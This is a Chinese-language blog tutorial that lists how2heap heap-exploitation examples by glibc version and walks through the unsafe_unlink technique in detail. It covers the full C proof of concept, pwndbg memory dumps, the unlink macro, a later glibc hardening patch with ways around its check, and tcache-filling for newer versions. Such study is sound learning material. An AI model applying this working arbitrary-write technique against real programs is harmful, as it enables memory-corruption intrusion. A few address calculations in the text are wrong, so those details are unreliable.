- Author:ZERO-A-ONE
- Date:2021-01-22
这里强烈推荐两个可以在线查看Linux和Glibc源码的网站:
- Glibc:https://elixir.bootlin.com/glibc/glibc-2.31/source
- Linux:https://elixir.bootlin.com/linux/latest/source/include/linux
在Glibc 2.23下拥有的例子:
- fastbin_dup
- fastbin_dup_consolidate
- fastbin_dup_into_stack
- house_of_einherjar
- house_of_force
- house_of_lore
- house_of_orange
- house_of_roman
- house_of_spirit
- large_bin_attack
- mmap_overlapping_chunks
- overlapping_chunks_2
- overlapping_chunks
- poison_null_byte
- unsafe_unlink
- unsorted_bin_attack
- unsorted_bin_into_stack
在Glibc 2.27下拥有的例子:
- fastbin_dup
- fastbin_reverse_into_tcache
- house_of_botcake
- house_of_einherjar
- house_of_force
- house_of_lore
- large_bin_attack
- mmap_overlapping_chunks
- overlapping_chunks
- poison_null_byte
- tcache_dup
- tcache_house_of_spirit
- tcache_poisoning
- tcache_stashing_unlink_attack
- unsafe_unlink
- unsorted_bin_attack
- unsorted_bin_into_stack
相比Glibc 2.23减少了:
- fastbin_dup_consolidate
- fastbin_dup_into_stack
- house_of_orange
- house_of_roman
- overlapping_chunks_2
在Glibc 2.31下拥有的例子:
- fastbin_dup
- fastbin_reverse_into_tcache
- house_of_botcake
- house_of_einherjar
- large_bin_attack
- mmap_overlapping_chunks
- overlapping_chunks
- poison_null_byte
- tcache_house_of_spirit
- tcache_poisoning
- tcache_stashing_unlink_attack
- unsafe_unlink
相比之前减少了
- house_of_force
- house_of_lore
- tcache_dup
- unsorted_bin_attack
- unsorted_bin_into_stack
一、unsafe_unlink
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
编译指令:
$ gcc -g -no-pie unsafe_unlink.c -o unsafe_unlink
Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
在解链操作之前,针对堆块P自身的FD和BK检查了链表的完整性,即判断堆块 P 的前一块 FD块的bk指针是否指向 P,以及后一块BK的fd指针是否指向 P
- fd和bk指针仅在当前chunk处于释放状态时有效,chunk被释放后会加入相应的bin链表中,此时fd和bk指向该chunk在链表中的下一个和上一个free chunk(不一定是物理相邻的)
- fd:下一个|高地址|前面的
- bk:上一个|低地址|后面的
malloc_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 chunk0_ptr
指向 chunk0,局部指针 chunk1_ptr
指向 chunk1
全局指针 chunk0_ptr
本身的地址在0x602078,内存地址保存的数据为chunk0的地址0x603010
这里大家可能对于指针有点被搞乱了:
- uint64_t *chunk0_ptr:是一个指针变量,这个变量本身存放在0x602078,里面保存的地址是0x603010,也就是说其实就是0x602078->0x603010
- chunk0_ptr:访问的是地址0x603010
- &chunk0_ptr:既取*chunk0_ptr本身的地址,也就是0x602078
- &chunk0_ptr[0]:就是&(chunk0_ptr+0),取的是指针变量访问的地址,也就是0x603010
- chunk1_ptr:访问的是地址0x6030a0
pwndbg> n
The global chunk0_ptr is at 0x602078, pointing to 0x603010
pwndbg> n
The victim chunk we are going to corrupt is at 0x6030a0
接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False
的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr
构造 fake chunk 来绕过它:
我们首先观察一下chunk:
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Free chunks are stored in circular doubly-linked lists, and look like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
在64位机器下INTERNAL_SIZE_T就是0x8字节,故fd是在chunk_head+0x18处,bk就是在chunk_head+0x20处:
- chunk_head[0] = prev_size
- chunk_head[1] = size
- chunk_head[2] = fd
- chunk_head[3] = bk
我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == P
,P->bk->fd == P
,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size
为 fake chunk 的大小,修改 PREV_INUSE
标志位为 0,将 fake chunk 伪造成一个 free chunk
我们通过以下两个程序伪造chunk:
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
我们伪造 fake chunk 的:
-
fd 为
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
- chunk0_ptr[2]:访问的是0x603010+(3-1)*0x8 = 0x603020
- &chunk0_ptr = 0x602078
- sizeof(uint64_t)*3 = 0x8 * 3 = 0x18
- 0x603020 = 0x602060
-
bk 为
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
- chunk0_ptr[3]:访问的是0x603010+3*0x8 = 0x603028
- &chunk0_ptr = 0x602078
- sizeof(uint64_t)*2 = 0x8 * 2 = 0x10
- 0x603020 = 0x602068
我们先看看chunk0本来的情况:
pwndbg> x/5gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000
pwndbg> p &chunk0_ptr
$2 = (uint64_t **) 0x602078 <chunk0_ptr>
pwndbg> p &chunk0_ptr[0]
$3 = (uint64_t *) 0x603010
pwndbg> p &chunk0_ptr[1]
$4 = (uint64_t *) 0x603018
pwndbg> p &chunk0_ptr[2]
$5 = (uint64_t *) 0x603020
pwndbg> p &chunk0_ptr[3]
$6 = (uint64_t *) 0x603028
我们查看修改后的chunk0的情况:
pwndbg> x/6gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602060 0x0000000000602068
然后我们需要伪造修改 chunk 1 的 prev_size
为 fake chunk 的大小,修改 PREV_INUSE
标志位为 0,将 fake chunk 伪造成一个 free chunk
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
其实这句话相当于
chunk1_hdr = (uint64_t *)chunk1_ptr - 2;
所以就是让chunk1_hdr指向了chun1的chunk_head部分
chunk1_hdr[0] = malloc_size; //伪造prev_size
chunk1_hdr[1] &= ~1; //伪造size,使得PREV_INUSE=0
我们可以查看修改完毕后的chunk1的值:
pwndbg> x/5gx 0x603090
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000
我们查看一下现在堆上的情况:
pwndbg> x/200gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091 <---chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <---fake chunk P
0x603020: 0x0000000000602060 0x0000000000602068 <---P-fd,P-bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090 <---chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
这个时候unlink的话,glibc会根据chunk1的prev_size字段计算上一个(低地址)处于free状态的chunk位置,这里chunk1的prev_size的值为0x80,且size位的PREV_INUSE=0,故glibc认为0x603090(chunk1_addr) - 0x80 = 0x603010(fake_chunk_addr)
现在我们来一起走一遍unlink的源码逻辑:
首先这里Glibc会认为P chunk就是我们伪造的fake chunk,也就是位于0x603010
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
根据chunk的结构体,我们不难得出FD和BK的值:
- FD = *(0x603010 + 2*0x8) = *(0x603020) = 0x602060
- BK = *(0x603010 + 3*0x8) = *(0x603028) = 0x602068
然后我们看一下FD和BK所处的内存情况:
pwndbg> x/5gx 0x0000000000602060
0x602060: 0x0000000000000000 0x00007ffff7dd2620
0x602070 <completed.7594>: 0x0000000000000000 0x0000000000603010
0x602080: 0x0000000000000000
pwndbg> x/5gx 0x0000000000602068
0x602068 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000
0x602078 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000
0x602088: 0x0000000000000000
不难得出FD->bk和BK->fd的值:
-
FD->bk = *(0x602060+3*0x8) = *(0x602078) = 0x603010
-
BK->fd = *(0x602068+2*0x8) = *(0x602078) = 0x603010
-
P = 0x603010
我们去free chunk1,这个时候系统会检测到 fake chunk是释放状态,会触发 unlink ,fake chunk会向后合并, chunk0会被吞并。unlink 操作是这样进行的:
记住P是我们在chunk0里构造的fake chunk
FD = P->fd; //0x0000000000602060
BK = P->bk; //0x0000000000602068
FD->bk = BK //0x0000000000603010
BK->fd = FD //0x0000000000603010
根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
FD->fd = *(&P - 16 + 16) = P
这样就通过了 unlink 的检查,最终效果为:
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
这里我们可以继续看看unlink的源码:
FD->bk = BK;
BK->fd = FD;
-
FD->bk:0x602078
-
BK->fd:0x602078
-
BK:0x602068
-
FD:0x602060
-
所以最后的结果就是将0x602078处的内容改成了0x602060,就是将0x602078指向了0x602060
原本指向堆上 fake chunk 的指针 P 指向了自身地址减 0x18 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。
pwndbg> p/x chunk0_ptr
$35 = 0x602060
在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,unlink合并后的结果就是fake chunk与chunk1合并后所以最后的结果为:
chunk0 = P
chun0_ptr = P->fd
pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091 <---chunk 0
0x603010: 0x0000000000000000 0x0000000000020ff1
0x603020: 0x0000000000602060 0x0000000000602068 <---chunk0_ptr
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
对比一下原来的chunk结构:
pwndbg> x/200gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091 <---chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <---fake chunk P
0x603020: 0x0000000000602060 0x0000000000602068 <---P-fd,P-bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090 <---chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
成功地修改了 chunk0_ptr,这时 chunk0_ptr
和 chunk0_ptr[3]
实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 chunk0_ptr
指针在是放在数据段上的,地址在 0x602078
,指向 0x602060
,而 chunk0_ptr[3]
的意思是从 chunk0_ptr
指向的地方开始数 3 个单位,所以 0x602078+0x08*3=0x601070
:
pwndbg> p/x chunk0_ptr
$36 = 0x602060
pwndbg> p/x &chunk0_ptr
$37 = 0x602078
pwndbg> p/x &chunk0_ptr[3]
$38 = 0x602078
在这个例子中,最后chunk0_ptr 和chunk0_ptr[3] 指向的地方是一样的。相对我们如果对chunk0_ptr[3]修改,也是对chunk0_ptr进行了修改
在程序中,程序先对chunk0_ptr[3]进行了修改,让它指向了victim_string
字符串的指针(如果这个地址是 got 表地址,我们紧接着就可以 进行 劫持 got 的操作。)
pwndbg> p/x &victim_string
$39 = 0x7fffffffde30
pwndbg> p/x &chunk0_ptr[3]
$40 = 0x7fffffffde48
然后我们对chunk0_ptr 进行操作,就能得到一个地址写
pwndbg>
Original value: Hello!~
pwndbg>
New Value: BBBBAAAA
总结下,如果我们找到一个全局指针,通过unlink的手段,我们就构造一个chunk指向这个指针所指向的位置,然后通过对chunk的操作来进行读写操作
简单来说就是我们知道了一个全局指针变量(称作Target Addr)存放的地址,我们可以通过unlink的手段把这个全局指针指向减去0x18的位置,我们需要做到以下几点:
-
我们至少要能控制两个chunk
-
在一个chunk(称作chunk0)内部伪造一个fake chunk(称作P)
-
P的fd和bk处的内容分别修改为:
- P->fd = Target Addr - 0x18
- P->bk = Target Addr - 0x10
-
然后修改chunk0的下一个chunk(称作chunk1)的prev_size和size位
- 因为我们通过malloc得到的地址其实是chunk的mem处,真正chunk的head位在于chunk1_ptr - 0x10
- 然后将prev_size修改为是chunk1与P的偏移量
- chunk1_ptr - 0x10 = &chunk1 - &P
- 造size,使得PREV_INUSE=0
- chunk1_ptr - 0x8 &= ~1;
-
然后free掉chunk1,就能将我们能控制的chunk0的指针指向Target Addr - 0x18的位置,这样我们把Target Addr设想为任何一个地址,我们就对任意地址有了任意读写的能力,在计算的时候把我们真正想要读写的位置预先加上0x18变为Target Addr即可
libc-2.25 在 unlink 的开头增加了对 chunk_size == next->prev->chunk_size
的检查,以对抗单字节溢出的问题。补丁如下:
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <[email protected]>
Date: Fri Mar 17 15:31:38 2017 -0400
Further harden glibc malloc metadata against 1-byte overflows.
Additional check for chunk_size == next->prev->chunk_size in unlink()
2017-03-17 Chris Evans <[email protected]>
* malloc/malloc.c (unlink): Add consistency check between size and
next->prev->size, to further harden against 1-byte overflows.
diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
具体是这样的:
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Bits to mask off when extracting size */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
回顾一下伪造出来的堆:
gef➤ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P
0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk
0x602130: 0x0000000000000000 0x0000000000000000
这里有三种办法可以绕过该检查:
-
什么都不做。
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
-
设置
chunk0_ptr[1] = 0x8
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
-
设置
chunk0_ptr[1] = 0x80
chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步,libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache,这是一种线程缓存机制,每个线程默认情况下有 64 个大小递增的 bins,每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr
仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd
。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:
// deal with tcache
int *a[10];
int i;
for (i = 0; i < 7; i++) {
a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
free(a[i]);
}
gef➤ p &chunk0_ptr
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
gef➤ x/gx 0x555555755070
0x555555755070 <chunk0_ptr>: 0x00007fffffffdd0f
gef➤ x/gx 0x00007fffffffdd0f
0x7fffffffdd0f: 0x4242424242424242